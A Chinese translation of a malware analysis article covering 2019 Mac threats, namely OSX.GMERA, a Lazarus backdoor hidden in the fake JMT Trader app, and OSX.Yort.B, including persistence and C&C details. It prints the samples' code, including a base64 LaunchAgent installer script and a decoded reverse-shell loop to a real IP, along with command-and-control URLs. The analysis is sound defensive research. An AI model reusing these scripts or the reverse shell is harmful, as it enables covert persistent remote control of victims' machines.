对2019全年的Mac恶意程序的全面分析(GMERA,Lazarus,Yort.B) - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

对2019全年的Mac恶意程序的全面分析(GMERA,Lazarus,Yort.B)

gejigeji 恶意软件 2020-01-16 10:40:00
收藏

导语:GMERA是Lazarus黑客组织开发的木马,它会不断向远程攻击者公开目标的shell。比如,欺骗交易应用程序的Mac恶意程序会窃取用户信息,并将其上传到网站。或者,通过行为检查检测macOS.GMERA恶意程序。

OSX.GMERA(A/B)

GMERA是Lazarus黑客组织开发的木马,它会不断向远程攻击者公开目标的shell。比如,欺骗交易应用程序的Mac恶意程序会窃取用户信息,并将其上传到网站。或者,通过行为检查检测macOS.GMERA恶意程序。

感染媒介:伪造密货币应用程序

Lazarus小组的实际感染机制是创建伪造的加密货币应用程序(通常由合法的网站支持),并强迫用户安装该应用程序。

在卡巴斯基的2018年的调查中,他们发现受害者已受到木马加密货币交易应用程序的感染,该应用程序是通过电子邮件传播的。事实证明,用户很容易从看似合法的网站[Celas LLC]下载第三方应用程序。

[Celas LLC]下似乎已经找到了一种复杂的方法来创建一个合法的业务,并将一个恶意的有效载荷注入一个“合法的”程序更新机制。听起来合乎逻辑:如果一个人不能破坏一条供应链,为什么不制造一个假供应链呢?

我还在几次会议演讲中谈到了这种攻击:

66.png

正如趋势科技所指出的那样,Lazarus组织在2019年延续了这一攻击势头。但是,这种攻击程序的流行导致网络犯罪分子滥用它们,他们创建了伪造的交易应用程序,以诱使毫无戒心的受害者窃取其个人数据。研究人员最近发现并分析了这样一个应用程序的示例,该应用程序具有恶意程序变种,伪装成一个基于Mac的合法交易应用程序Stockfolio,Stockfolio可是一个合法的实时股票行情程序。

67.png

因此,如果目标用户下载并运行Stockfolio应用程序,则他们将感染OSX.GMERA。

持久性攻击力来自Launch Agent

TrendMicro指出,只有第二版的GMERA (B)存在。以OSX.GMERA的trojanized Stockfolio应用程序包为例。GMERA (B)在Resources/ 目录中显示一个名为run.sh的文件:

68.png

该脚本会将一个持久(隐藏的)Launch Agent安装到:〜/ Library / LaunchAgents / .com.apple.upd.plist:

$ cat Stockfoli.app/Contents/Resources/run.sh 
#! /bin/bash

...

plist_text="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdD4KCTxrZXk+S2VlcEFsaXZlPC9rZXk+Cgk8dHJ1ZS8+Cgk8a2V5PkxhYmVsPC9rZXk+Cgk8c3RyaW5nPmNvbS5hcHBsZXMuYXBwcy51cGQ8L3N0cmluZz4KCTxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PgoJPGFycmF5PgoJCTxzdHJpbmc+c2g8L3N0cmluZz4KCQk8c3RyaW5nPi1jPC9zdHJpbmc+CgkJPHN0cmluZz5lY2hvICdkMmhwYkdVZ09qc2daRzhnYzJ4bFpYQWdNVEF3TURBN0lITmpjbVZsYmlBdFdDQnhkV2wwT3lCc2MyOW1JQzEwYVNBNk1qVTNNek1nZkNCNFlYSm5jeUJyYVd4c0lDMDVPeUJ6WTNKbFpXNGdMV1FnTFcwZ1ltRnphQ0F0WXlBblltRnphQ0F0YVNBK0wyUmxkaTkwWTNBdk1Ua3pMak0zTGpJeE1pNHhOell2TWpVM016TWdNRDRtTVNjN0lHUnZibVU9JyB8IGJhc2U2NCAtLWRlY29kZSB8IGJhc2g8L3N0cmluZz4KCTwvYXJyYXk+Cgk8a2V5PlJ1bkF0TG9hZDwva2V5PgoJPHRydWUvPgo8L2RpY3Q+CjwvcGxpc3Q+"
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.upd.plist"
echo "tmpplist - $(cat /tmp/.com.apple.upd.plist))" >> /tmp/loglog
cp "/tmp/.com.apple.upd.plist" "$HOME/Library/LaunchAgents/.com.apple.upd.plist"
echo "tmpplist - $(cat $HOME/Library/LaunchAgents/.com.apple.upd.plist))" >> /tmp/loglog
launchctl load "/tmp/.com.apple.upd.plist"

对plist_text变量进行解码可以显示以下的plist内容:

$ python

>>> import base64
>>> plist_text="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVB..."

>>> base64.b64decode(plist_text)
>>> '\n\n\n\n\tKeepAlive\n\t\n\tLabel\n\tcom.apples.apps.upd\n\tProgramArguments\n\t\n\t\tsh\n\t\t-c\n\t\techo \'d2hpbGUgOjsgZG8gc2xlZXAgMTAwMDA7IHNjcmVlbiAtWCBxdWl0OyBsc29mIC10aSA6MjU3MzMgfCB4YXJncyBraWxsIC05OyBzY3JlZW4gLWQgLW0gYmFzaCAtYyAnYmFzaCAtaSA+L2Rldi90Y3AvMTkzLjM3LjIxMi4xNzYvMjU3MzMgMD4mMSc7IGRvbmU=\' | base64 --decode | bash\n\t\n\tRunAtLoad\n\t\n\n'

格式化时是“标准”Launch Agentplist:

image.png

由于〜/ Library / LaunchAgents / .com.apple.upd.plist将RunAtLoad项设置为

功能:持久的远程shell

趋势科技在GMERA上的报告指出:

“ [OSX.GMERA.A]的主要Mach-O可执行文件将在Resources目录中启动以下捆绑的Shell脚本: plugin, stock。”

卸载主要二进制文件(Stockfoli.app/Contents/MacOS/Stockfoli)支持此主张:

0x000000010000226d 48891C08               mov        qword [rax+rcx], rbx       
0x0000000100002271 4B8D0C76               lea        rcx, qword [r14+r14*2]
0x0000000100002275 488D15600E0000         lea        rdx, qword [aStock]        ; "stock"

...

0x00000001000022f6 49891C06               mov        qword [r14+rax], rbx       
0x00000001000022fa 4B8D047F               lea        rax, qword [r15+r15*2]
0x00000001000022fe 488D0DDD0D0000         lea        rcx, qword [aPlugin]       ; "plugin"

...

0x0000000100002a09 4C89F7                 mov        rdi, r14                   ; argument #1 for method shellExecute
0x0000000100002a0c E8CFF3FFFF             call       shellExecute               ; shellExecute

0x0000000100002b00 4889DF                 mov        rdi, rbx                   ; argument #1 for method shellExecute
0x0000000100002b03 E8D8F2FFFF             call       shellExecute               ; shellExecute

插件文件和库存文件都是bash脚本:

$ file Stockfoli.app/Contents/Resources/plugin 
Stockfoli.app/Contents/Resources/plugin: Bourne-Again shell script text executable, ASCII text

$ file Stockfoli.app/Contents/Resources/stock
Stockfoli.app/Contents/Resources/stock: Bourne-Again shell script text executable, ASCII text

首先,让我们看一下插件脚本:

image.png

该脚本首先通过getINFO函数收集有关受感染系统的大量信息。该信息包:

1.登录用户的用户名(通过whoami);

2.被感染系统的IP地址(通过curl -s ipinfo.io);

3.已安装的应用程序(通过ls / Applications);

4.“文档和桌面”文件夹中的文件(通过ls -lh〜/ Documents和ls -lh〜/ Desktop);

5.操作系统安装日期(通过日期-r /var/db/.AppleSetupDone);

6.磁盘使用率(通过df -h);

7.显示信息(通过system_profiler SPDisplaysDataType)

8.wifi接入点(通过/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s)

9.屏幕捕获(通过screencapture);

然后,它将这些数据上传到https://appstockfolio.com/panel/upload.php,发出服务器对〜/ Library / Containers / .pass的响应。

现在,看看stock脚本:

image.png

库存脚本首先将Resources / appcode文件复制到一个临时位置(/ private / var / tmp / appcode)。如果存在〜/ Library / Containers / .pass文件(请记住,此文件是由插件脚本创建的,并带有来自服务器的信息),它将解密并执行appcode文件的副本。

不幸的是,由于我们的服务器处于脱机状态,因此不会创建.pass,因此无法解密appcode文件。趋势科技研究人员的原话如下:

因此,我们怀疑文件appcode是包含其他例程的恶意程序文件。但是,在撰写本文时,由于无法访问登录URL hxxps://appstockfolio.com/panel/upload[.]php,因此我们无法解密此文件。

尽管OSX.GMERA.B样本与OSX.GMERA.A(例如木马Stockfolio.app的感染媒介)具有多种相似之处,但其有效载荷却有所不同,比如调用OSX.GMERA.B执行Resources / run.sh脚本。

使用位于http://owpqkszz.info/link.php的服务器签入后,run.sh脚本中的代码创建了一个指向193.37.212.176的交互式远程shell:

image.png

我们还注意到GMERA.B(通过run.sh中的代码)将Launch Agent保留为:〜/ Library / LaunchAgents / .com.apple.upd.plist,以便在用户登录时自动执行命令:

image.png

在命令中对base-64编码的数据进行解码,结果如下:

while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25733 0>&1'; done

果然,是一个193.37.212.176的持久性交互式远程shell。

当然,这使远程攻击者可以继续访问受感染的系统,并且可以运行任意命令。

Lazarus(暂未未命名)

这个未命名的样本是Lazarus黑客组织开发的后门,它为远程攻击者提供了完整的命令并控制受感染的macOS系统。

感染媒介:被植入恶意程序的合法加密货币应用程序

在2019年10月初,@ malwrhunterteam 在推文中发布了一个有趣的恶意程序传播反思。简而言之,就是攻击者创建了一个虚假公司,通过分发加密货币交易平台JMT Trader来向Mac或Windows用户安装后门。为了推广该应用,攻击者还创建了相应的Twitter帐户。该JMT Trade实际上是合法QT Bitcoin Trader程序的克隆版本,但根据逆向工程师Vitali Kremez的说法,当安装JMT Trader时安装程序还将提取一个名为CrashReporter.exe的辅助程序,该程序是后门程序,它将连接到C&C域beastgoc[.]com并接收命令。卡巴斯基安全研究员Seongsu Park认为JMT Trader与朝鲜Lazarus APT很可能存在关联。因为这与卡巴斯基发现的OSX.AppleJeus样本密切相关。

其实研究人员很早就注意到,Lazarus组织采用的感染方法是木马加密货币交易应用程序。此示例(由于缺少更好的名称,因此我们称为OSX.AppleJeus 2)就是采用了相同的方法来感染macOS目标,首先,创建了一个“新”公司:“JMT Trading”(托管在:https://www.jmttrading.org/):

360截图16360727717594.jpg

看起来合理合法,是吗?点击“从Github下载”链接后,用户将跳转到:https://github.com/jmttrading/JMTTrader/releases,其中包含各种下载文件,当然也包含恶意程序的文件,特别是磁盘映像,其中包含名为JMTTrader.pkg的程序包:

81.png

如果用户被迫下载并安装木马加密货币交易应用程序,他们将被感染。

请注意,安装程序需要管理权限,但是恶意程序会在安装过程中要求此类权限:

82.png

持久性攻击的来源:启动守护程序

JMTTrader.pkg包含一个postinstall脚本(其中包含实际的安装说明)。使用可疑包应用程序(可从这里下载),我们可以查看这个安装文件的内容:

image.png

简而言之,此安装脚本的特点如下:

1.安装启动守护程序plist(org.jmttrading.plist);

2.安装守护程序(CrashReporter);

3.使用Maintain命令行参数执行所述守护程序;

守护程序的plist和最初的二进制文件都被嵌入到.pkg中的应用程序JMTTrader.app中。具体来说,它们是在/ Resources目录中找到的隐藏文件:Resources/.org.jmttrading.plist 和Resources/.CrashReporter:

84.png

使用“可疑程序包”应用程序,我们可以提取这两个文件进行分析。

首先,让我们看一下启动守护进程plist(org.jmttrading.plist):

image.png

如预期的那样,它引用守护程序/ Library / JMTTrader / CrashReporter(在ProgramArguments数组中)。由于RunAtLoad设置为true,因此每次重新启动系统时,macOS都会自动重新启动守护程序。

功能:持久后门

该恶意程序会通过启动守护程序持久保存CrashReporter二进制文件,通过file命令,我们可以确定其文件类型(Mach-O 64位):

$ file ~/Downloads/.CrashReporter 
~/Downloads/.CrashReporter: Mach-O 64-bit executable x86_64

使用我的WhatsYourSign实用程序,我们可以轻松地确定其代码签名状态。尽管已签名,但它是临时签名的:

88.png

运行字符串命令,使我们能够深入了解二进制文件的可能功能。

$ strings -a ~/Downloads/.CrashReporter 

Content-Disposition: form-data; name="%s"; 
jGzAcN6k4VsTRn9
...
mont.jpg
...
beastgoc.com
https://%s/grepmonux.php
POST
...
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36

X,%`PMk--Jj8s+6=

始终使用-a标志运行字符串命令,以指示它扫描整个文件以寻找可打印(ASCII)字符串!

从字符串命令的输出中,我们可以看到一些有趣的字符串!

1.beastgoc.com, https://%s/grepmonux.php,看起来很像是下载或C&C服务器。

2.Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...,看起来很像是二进制文件的用户代理(可能作为IOC有用)。

3.X,%\`PMk--Jj8s+6=,看起来很像是加密或解密密钥。

每次启动恶意程序时,它都会向https://beastgoc.com/grepmonux.php发送HTTP POST请求,其中包含以下数据:

(lldb)x/s 0x100260000
0x100260000: "--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="token"; \r\n\r\n756222899\r\n--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="query"; \r\n\r\nconn\r\n--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="content"; filename="mont.jpg"\r\nContent-Type: application/octet-stream\r\n\r\n\xffffffeb'6MQMk-|Oj8\r\n--jGzAcN6k4VsTRn9--\r\n"

命令和控制服务器将响应加密的任务:

image.png

不幸的是,在分析过程中,C&C服务器没有返回任何任务。但是,通过静态分析,我们可以轻松确定恶意程序的功能。

例如,该恶意程序支持“退出”命令,该命令将肯定导致该恶意程序退出:

image.png

如果恶意程序接收到up命令,则该恶意程序似乎包含可以打开然后写入文件的逻辑,即,将文件从C&C服务器上传到受感染的主机:

image.png

其他命令,将导致恶意程序调用一个名为proc_cmd的函数:

image.png

proc_cmd函数似乎通过shell(特别是通过popen API)执行命令:

image.png

$ man popen

FILE * popen(const char *command, const char *mode);

The popen() function ``opens'' a process by creating a bidirectional pipe, forking, and invoking the shell.

The command argument is a pointer to a null-terminated string containing a shell command line.  This command is passed to /bin/sh, using the -c flag; interpretation, if any, is performed by the shell.

远程执行命令的能力,显然为远程攻击者提供了对受感染的macOS系统的完全和可扩展的控制!

OSX.Yort.B

OSX.Yort.B是Lazarus黑客组织开发的OSX.Yort.A的近似变体,这意味着OSX.Yort.B是一个后门,可为远程攻击者提供完整的命令并控制受感染的macOS系统。

感染媒介:利用被植入恶意载荷的应用程序

10月下旬,Twitter用户@ cyberwar_15 发现了一个针对macOS用户的新Lazarus后门,他发现了恶意的Excel(xls)文档以及恶意的应用程序Album.app。

虽然Lazarus 组织之前曾利用恶意的“宏负载”办公文档(例如OSX.Yort)来针对macOS用户,但恶意的excel文档(如TrendMicro所指出的)并不包含macOS逻辑:

$ olevba 연인심리테스트.xls

===============================================================================
FILE: 연인심리테스트.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: 연인심리테스트.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
#If Mac Then
#Else

因此,它可能会假设恶意应用程序(Album.app)是直接传播(可能是作为电子邮件附件)给目标的。

由于该应用程序未签名,因此用户必须手动禁用或绕过Gatekeeper:

98.png

$ codesign -dvv /Users/patrick/Downloads/yort_b/Album.app 
/Users/patrick/Downloads/yort_b/Album.app: code object is not signed at all

因此,不太可能有很多macOS用户被感染,尽管在针对性的APT操作中,偶有成功的概率。

持久性攻击力的来源:Launch Agent

虽然最初版本的Yort没有被持久化,但OSX.Yort.B作为Launch Agent被持久化。

具体来说,如果强迫用户运行恶意应用程序Album.app,它将永久安装Launch Agent,~/Library/Launchagents/com.adobe.macromedia.plist。

查看恶意应用程序的二进制文件(Album.app/Contents/macOS/Flash Player)的反汇编结果,显示了一个嵌入式属性列表和代码,它们将保存该plist,然后通过launchctl加载将其启动:

image.png

我们还可以通过FileMonitor动态观察到这个结果:

# FileMonitor.app/Contents/MacOS/FileMonitor -filter "Flash Player" -pretty
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" : "~/Library/LaunchAgents/com.adobe.macromedia.flash.plist",
    "process" : {
      "uid" : 501,
      "arguments" : [

      ],
      "ppid" : 1,
      "ancestors" : [
        1
      ],
      "signing info" : {
        "csFlags" : 0,
        "isPlatformBinary" : 0,
        "cdHash" : "00000000000000000000"
      },
      "path" : "Album.app/Contents/MacOS/Flash Player",
      "pid" : 1031
    }
  },
  "timestamp" : "2019-12-27 21:05:48 +0000"
}

当然,这种持久性很容易被我们的BlockBlock工具检测到:

102.png

通过com.adobe.macromedia.flash.plist文件,恶意程序会保留一个二进制文件:/Users/user/.FlashUpdateCheck(通过Program密钥指定):

defaults read ~/Library/LaunchAgents/com.adobe.macromedia.flash.plist
{
    EnvironmentVariables =     {
        PATH = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:";
    };
    KeepAlive = 0;
    Label = FlashUpdate;
    LaunchOnlyOnce = 1;
    Program = "/Users/user/.FlashUpdateCheck";
    RunAtLoad = 1;
}

设置RunAtLoad项后,每次用户登录时,macOS都会自动重新启动.FlashUpdateCheck二进制文件。

功能:后门

当用户运行恶意的Album.app时,它会保留一个隐藏的二进制文件.FlashUpdateCheck。如下所示,我们可以看到此二进制文件已被Album.app删除:

# FileMonitor.app/Contents/MacOS/FileMonitor -filter "Flash Player" -pretty
{
  "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
  "file" : {
    "destination" : "/Users/user/.FlashUpdateCheck",
    "process" : {
      "uid" : 501,
      "arguments" : [

      ],
      "ppid" : 1,
      "ancestors" : [
        1
      ],
      "signing info" : {
        "csFlags" : 0,
        "isPlatformBinary" : 0,
        "cdHash" : "00000000000000000000"
      },
      "path" : "/Users/user/Desktop/Album.app/Contents/MacOS/Flash Player",
      "pid" : 1031
    }
  },
  "timestamp" : "2019-12-27 21:05:48 +0000"
}

隐藏的.FlashUpdateCheck二进制文件是基本的后门程序,与我们在本文前面介绍的OSX.Yort(mt.dat)基本相同。

快速查看嵌入的字符串,可以证明这一点:

106.png

在OSX.Yort.B中,Lazarus组攻击者更改了一些字符串,并删除了各种函数名称。

例如,在OSX.Yort.A中,执行命令函数的名称为aptyl,名称为“ ReplyCmd”,而文件下载命令的名称为“ ReplyDown”。在OSX.Yort.B中,这些函数未命名。

该后门的功能,已经在上文说的很清楚了。但是,重新调用它支持“标准”后门命令,例如:

1.调查;

2.文件下载/上传;

3.(shell)命令执行;

有了这些功能,远程攻击者可以对受感染的macOS系统保持完全的远程控制!

本文翻译自:https://objective-see.com/blog/blog_0x53.html如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论